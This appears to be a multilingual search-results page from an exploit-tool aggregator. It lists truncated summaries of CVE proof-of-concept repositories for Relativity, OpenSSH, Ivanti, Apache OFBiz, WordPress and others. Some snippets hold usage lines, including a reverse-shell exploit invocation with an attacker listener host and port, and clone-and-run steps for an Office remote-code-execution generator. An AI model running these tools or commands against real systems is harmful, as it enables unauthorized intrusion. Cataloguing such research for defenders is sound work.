522526 matches found
CVE-2023-46954
CVE-2023-46954 Vulnerabilidad de inyección SQL en Relativity Server 2022 v.12.1.537.3 Parche 2 y anteriores permite a un atacante remoto ejecutar código arbitrario a través del parámetro name. Tipo de Vulnerabilidad Inyección SQL Vendedor del Producto Relativity ODA LLC Base de Código del Product...
pax
pax Exploit padding oracles for fun and profit! Pax PAdding oracle eXploiter is a tool for exploiting padding oracles in order to: 1. Obtain plaintext for a given piece of CBC encrypted data. 2. Obtain encrypted bytes for a given piece of plaintext, using the unknown encryption algorithm used by...
CVE-2025-25257-Exploit-Tool
Herramienta de Explotación CVE-2025-25257 Créditos root@kitploit: Based on watchTowr Labs, 0xbigshaq, and pwner.gg analyses. Advertencias root@kitploit: For educational purposes only. Use on authorized systems. Modifies database/filesystem. Herramienta Python mejorada para detectar y explotar...
CVE-2022-30190
CVE-2022-30190 - Microsoft Support Diagnostic Tool Acerca de Este script intentará crear un documento de Microsoft Office que ejecutará código de forma remota. Configuración root@kitploit: git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py...
CVE-2020-16898
CVE-2020-16898: "Bad Neighbor" Puntuación CVSS: 8.8 Vector CVSS: CVSS3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C Resumen El 13 de octubre, Microsoft anunció una vulnerabilidad excepcionalmente crítica en la pila IPv6 de Windows, que permite a un atacante enviar paquetes maliciosamente...
CVE-2023-50564-pluck
CVE-2023-50564-pluck CVE-2023-50564 Una vulnerabilidad de carga arbitraria de archivos en el componente /inc/modulesinstall.php de Pluck-CMS v4.7.18 permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo ZIP manipulado. Esta es una vulnerabilidad autenticada. Descargo ...
CVE-2026-35196
CVE-2026-35196 · Chamilo LMS · Inyección de Comandos del SO → RCE Investigador: K Tipo de Divulgación: Divulgación Responsable Estado: Parcheado Producto Afectado: Chamilo LMS 2.0 Confirmado en v1.11.32 📋 Resumen de Vulnerabilidad...
CVE-2024-27956-RCE
CVE-2024-27956-RCE Un PoC para CVE-2024-27956, una inyección SQL en el plugin ValvePress Automatic. Este PoC explota la vulnerabilidad creando un usuario en el objetivo y otorgándole derechos de Administrador. Ser administrador en WordPress puede llevar a la Ejecución Remota de Código. Uso...
regreSSHion
regreSSHion 漏洞利用 PoC 描述 此仓库包含针对 CVE-2024-6387 regreSSHion 的漏洞利用程序，该漏洞存在于基于 glibc 的 Linux 系统上 OpenSSH 服务器 sshd 中。它利用了 OpenSSH 信号处理器中的竞争条件，可能导致以 root 身份远程执行代码。 要求 基于 glibc 的 OpenSSH 服务器的 Linux 系统（已在 Ubuntu、Debian 上测试）。 已安装 gcc 编译器。 对编译和运行 C 程序有基本了解。 仅在授权系统上测试或使用此类漏洞利用的权限。 使用方法 1. 编译漏洞利用程序：...
Ofbiz-RCE
📌 Apache OFBiz RCE Exploit CVE-2024-38856 Este script de Python permite explotar una vulnerabilidad de tipo Remote Code Execution RCE en Apache OFBiz versiones 18.12.15, mediante un acceso no autorizado al endpoint /webtools/control/forgotPassword/ProgramExport. 🛠️ Descripción CVE : CVE-2024-38856...
CVE-2026-38751
CVE-2026-38751 — OpenSTAManager 模块上传远程代码执行 通过模块更新端点的未验证ZIP上传实现经过身份验证的远程代码执行。 受影响版本: OpenSTAManager = 2.10.x 环境要求 pip install requests 使用方法 root@kitploit: Reverse shell Penelope or any listener python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444 Interactive webshe...
CVE-2023-30253-PoC
CVE-2023-30253 CVE-2023-30253 PoC Descripción Esta es mi PoC para el CVE-2023-30253 Dolibarr 17.0.0 inyección de código PHP. Cuando el plugin CMS Website núcleo está habilitado, un atacante autenticado puede obtener ejecución remota de comandos mediante una inyección de código PHP que evade las...
CVE-2020-11890
Hecho por HK CVE-2020-11890: Las validaciones de entrada inadecuadas en la clase de la tabla de grupos de usuarios podrían provocar una configuración de ACL rota que conduzca a RCE Enlace...
CVE-2025-59059-Misattributed-RCE-in-Apache-Ranger-Static-Analysis-Correction
CVE-2025-59059: RCE mal atribuida en Apache Ranger — una corrección CVE: CVE-2025-59059 Versiones afectadas: Apache Ranger "Se reporta una Vulnerabilidad de Ejecución Remota de Código en NashornScriptEngineCreator en versiones de Apache Ranger = 2.7.0." Esto es incorrecto, o al menos engañoso...
CVE-2018-9206-jquery-file-upload
CVE-2018-9206 - Laboratorio Blueimp jQuery-File-Upload Entorno Docker vulnerable para CVE-2018-9206 - Carga de archivos sin restricciones en Blueimp jQuery-File-Upload ' Execute it curl "http://localhost:8888/jQuery-File-Upload/server/php/files/test.php" Output: CVE-2018-9206-PWNED O ejecuta el...
CVE-2025-22457
PoC para CVE-2025-22457 Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways Resumen Este es un exploit de prueba de concepto para demostrar la explotación de CVE-2025-22457. Para un anális...
CVE-2017-1000475
CVE-2017-1000475: Freesshd Ruta de Servicio sin Comillas Prueba de concepto Windows 10 con freeSSHd 1.3.1, instalado por defecto y con la opción de ejecutarse como servicio del sistema. Comando para comprobar la Ruta de Servicio sin Comillas. El servicio está sin comillas por defecto. El proceso ...
EXCELntDonut
root@kitploit: | \ / / | | | | || \ | | | | \ / | | | | | | ' | | | | |/ | ' | | | | | | | / \ || || || | | | || || | | | | | || | | |//\|||| |||/ /|| ||,|| by @JoeLeonJr @FortyNorthSec EXCELntDonut es un generador de macros XLM Excel 4.0. Comience con código fuente C EXE y termine con una...
CVE-2023-51409
CVE-2023-51409 AI Engine: ChatGPT Chatbot = 1.9.98 - Unauthenticated Arbitrary File Upload via restupload Description This could allow a malicious actor to upload any type of file to your website. This can include backdoors which are then executed to gain further access to your website. usage:...